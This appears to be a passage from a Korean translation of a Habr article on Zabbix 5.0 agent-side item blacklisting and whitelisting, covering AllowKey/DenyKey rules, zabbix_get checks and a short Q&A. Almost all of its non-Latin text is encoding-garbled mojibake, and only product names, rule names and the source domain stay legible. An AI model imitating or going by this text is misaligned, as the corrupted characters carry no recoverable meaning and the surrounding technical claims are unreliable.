์˜ˆ๋ฅผ ๋“ค์–ด ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ผ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ๊ฑฐ๋ถ€ํ•˜๊ณ  ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. zabbix_getํ•ด๋‹น ํŒŒ์ผ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๊ฐ€ ๊ฑฐ๋ถ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

**

์ฐธ๊ณ . ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ๋”ฐ์˜ดํ‘œ๋Š” ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค..

์ด ๊ฒฝ์šฐ ํ•ด๋‹น ํŒŒ์ผ์— ๋Œ€ํ•œ ์ ‘๊ทผ์€ ๋‹ค๋ฅธ ๊ฒฝ๋กœ๋ฅผ ํ†ตํ•ด ํ—ˆ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๊ฐ€ ์—ฐ๊ฒฐ๋˜๋Š” ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

์ง€์ •๋œ ๊ทœ์น™์„ ์ ์šฉํ•˜๊ธฐ ์œ„ํ•œ ๋‹ค์–‘ํ•œ ์˜ต์…˜์„ ํ™•์ธํ•˜๊ณ  ๊ธˆ์ง€ ์‚ฌํ•ญ์„ ์šฐํšŒํ•  ๊ฐ€๋Šฅ์„ฑ๋„ ๊ณ ๋ คํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

์งˆ๋ฌธ๊ณผ ๋‹ต๋ณ€

๋ฌธ์ œ. ๊ทœ์น™, ํ—ˆ๊ฐ€ ๋ฐ ๊ธˆ์ง€ ์‚ฌํ•ญ์„ ์„ค๋ช…ํ•˜๊ธฐ ์œ„ํ•ด ๊ณ ์œ ํ•œ ์–ธ์–ด๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ณต์žกํ•œ ํŒจํ„ด์„ ์„ ํƒํ•œ ์ด์œ ๋Š” ๋ฌด์—‡์ž…๋‹ˆ๊นŒ? ์˜ˆ๋ฅผ ๋“ค์–ด Zabbix์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์ •๊ทœ์‹์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์—ˆ๋˜ ์ด์œ ๋Š” ๋ฌด์—‡์ž…๋‹ˆ๊นŒ?

๋‹ต๋ณ€. ์ผ๋ฐ˜์ ์œผ๋กœ ์—์ด์ „ํŠธ๊ฐ€ ํ•˜๋‚˜๋งŒ ์žˆ๊ณ  ์—„์ฒญ๋‚œ ์ˆ˜์˜ ์ธก์ •ํ•ญ๋ชฉ์„ ํ™•์ธํ•˜๋ฏ€๋กœ ์ด๋Š” ์ •๊ทœ์‹ ์„ฑ๋Šฅ ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค. Regex๋Š” ์ƒ๋‹นํžˆ ๋ฌด๊ฑฐ์šด ์ž‘์—…์ด๋ฏ€๋กœ ์ด ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” ์ˆ˜์ฒœ ๊ฐœ์˜ ์ธก์ •ํ•ญ๋ชฉ์„ ํ™•์ธํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์™€์ผ๋“œ์นด๋“œ - ๋ณดํŽธ์ ์ด๊ณ  ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ๊ฐ„๋‹จํ•œ ์†”๋ฃจ์…˜.

๋ฌธ์ œ. ํฌํ•จํŒŒ์ผ์ด ์•ŒํŒŒ๋ฒณ์ˆœ์œผ๋กœ ํฌํ•จ๋˜์–ด ์žˆ์ง€ ์•Š๋‚˜์š”?

๋‹ต๋ณ€. ๋‚ด๊ฐ€ ์•„๋Š” ํ•œ, ๊ทœ์น™์„ ์—ฌ๋Ÿฌ ํŒŒ์ผ์— ๋ถ„์‚ฐ์‹œํ‚ค๋Š” ๊ฒฝ์šฐ ๊ทœ์น™์ด ์ ์šฉ๋  ์ˆœ์„œ๋ฅผ ์˜ˆ์ธกํ•˜๋Š” ๊ฒƒ์€ ์‚ฌ์‹ค์ƒ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  AllowKey/DenyKey ๊ทœ์น™์€ ์„œ๋กœ ์ƒํ˜ธ ์ž‘์šฉํ•˜๊ณ  ์ด ํŒŒ์ผ์„ ํฌํ•จํ•˜๋ฏ€๋กœ ํ•˜๋‚˜์˜ ํฌํ•จ ํŒŒ์ผ์— ์ˆ˜์ง‘ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค..

๋ฌธ์ œ. Zabbix 5.0์—์„œ๋Š” '์›๊ฒฉ ๋ช…๋ น ํ™œ์„ฑํ™”='์ด ๊ตฌ์„ฑ ํŒŒ์ผ์— ๋ˆ„๋ฝ๋˜์–ด ์žˆ๊ณ  AllowKey/DenyKey๋งŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๊นŒ?

๋‹ต๋ณ€. ๋„ค ๊ทธ๋ ‡์ฃ .

๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค!

์ถœ์ฒ˜ : habr.com

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€